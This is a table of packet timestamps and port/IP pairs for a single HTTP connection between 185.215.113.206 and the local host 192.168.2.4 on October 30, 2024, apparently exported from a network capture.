Oct 30, 2024 20:13:26.281842947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281858921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281871080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281883001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.281887054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281915903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.281939983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311475992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311523914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311630011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311640024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311650991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311667919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311691046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311769009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311780930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311800957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311816931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311883926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311896086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.311923027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.311979055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312031031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312042952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312053919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312062979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312064886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312092066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312117100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312275887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312284946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312314987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312380075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312391043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312418938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312526941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312536955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312546968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.312570095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.312580109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401030064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401045084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401055098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401123047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401171923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401184082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401200056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401211023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401216984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401223898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401254892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401287079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401463032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401474953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401505947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401524067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401588917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401627064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401631117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401665926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401773930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401786089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401796103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.401818037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.401845932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402005911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402018070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402029037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402051926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402086973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402303934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402316093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402327061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402344942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402348995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402359009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402368069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402369976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402405024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402650118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402661085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402671099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402683973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402700901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402724028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402913094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402924061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402935028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.402961016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.402972937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403126955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403139114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403150082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403177023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403187990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403342009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403352976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403381109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403403997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403528929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403541088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403552055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403563023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403568983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403579950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403590918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403601885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403601885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403611898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403647900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.403963089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403974056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.403984070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.404000998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.404007912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.404030085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.404055119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433331966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433372974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433386087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433401108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433428049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433504105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433516026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433526039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433537006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433547974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433562040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433584929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433734894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433773994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433856964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433868885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433880091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433892012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.433904886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.433947086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.434118986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.434129000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.434168100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.434210062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.434221983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.434256077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.434326887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.434365034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.476351976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.476470947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.476516962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.476528883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.476572990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.522885084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.522941113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.522969961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.522991896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524390936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524439096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524442911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524451017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524485111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524563074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524574995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524611950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524682999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524694920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524730921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524832010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524842978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524852991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524882078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524897099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.524965048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524976015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.524985075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525012970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525036097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525177002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525187969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525230885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525273085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525316954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525342941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525353909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525392056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525456905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525469065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525500059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525521994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525553942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525597095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525655031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525665045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525675058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525686026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525706053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525733948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525885105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525895119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525903940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.525932074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.525943995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526011944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526022911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526032925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526066065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526096106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526137114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526149035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526182890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526216030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526226997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526237011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526249886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526262999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526281118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526305914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526585102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526597023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526607037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526623964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526633978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526637077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526665926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526683092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526850939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526866913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526878119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526890039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.526891947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526911974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.526937962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555043936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555097103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555155039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555165052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555203915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555227995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555272102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555296898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555309057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555349112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555423975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555468082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555481911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555493116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555531025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555597067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555608988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555618048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555639029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555665970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555783033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555794001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555803061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555835962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555849075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.555983067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.555993080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.556003094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.556025028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.556047916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.598280907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.598304033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.598356009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.598392010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.640418053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.645924091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.922753096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.922774076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.922820091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.922849894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.922872066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.922883034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.922908068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.922920942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.922957897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.922969103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923002005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923151970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923162937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923171997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923197031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923211098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923346996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923360109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923371077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923389912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923403978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923470020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923506975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923537970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923548937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923578024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923741102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923752069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923787117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923800945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923863888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923903942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923949003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923960924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923969984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923980951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.923990011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.923991919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924016953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.924030066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.924428940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924439907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924449921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924459934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924470901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924482107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924482107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.924498081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924506903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.924510956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924523115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.924547911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:26.924958944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.924969912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:26.925013065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.044620037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044648886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044658899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044684887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.044718981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.044790983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044802904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044838905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.044898987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044919014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.044938087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.044961929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045097113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045105934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045134068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045146942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045291901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045301914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045310974 CET	80	49758	185.215.113.206	192.168.2.4
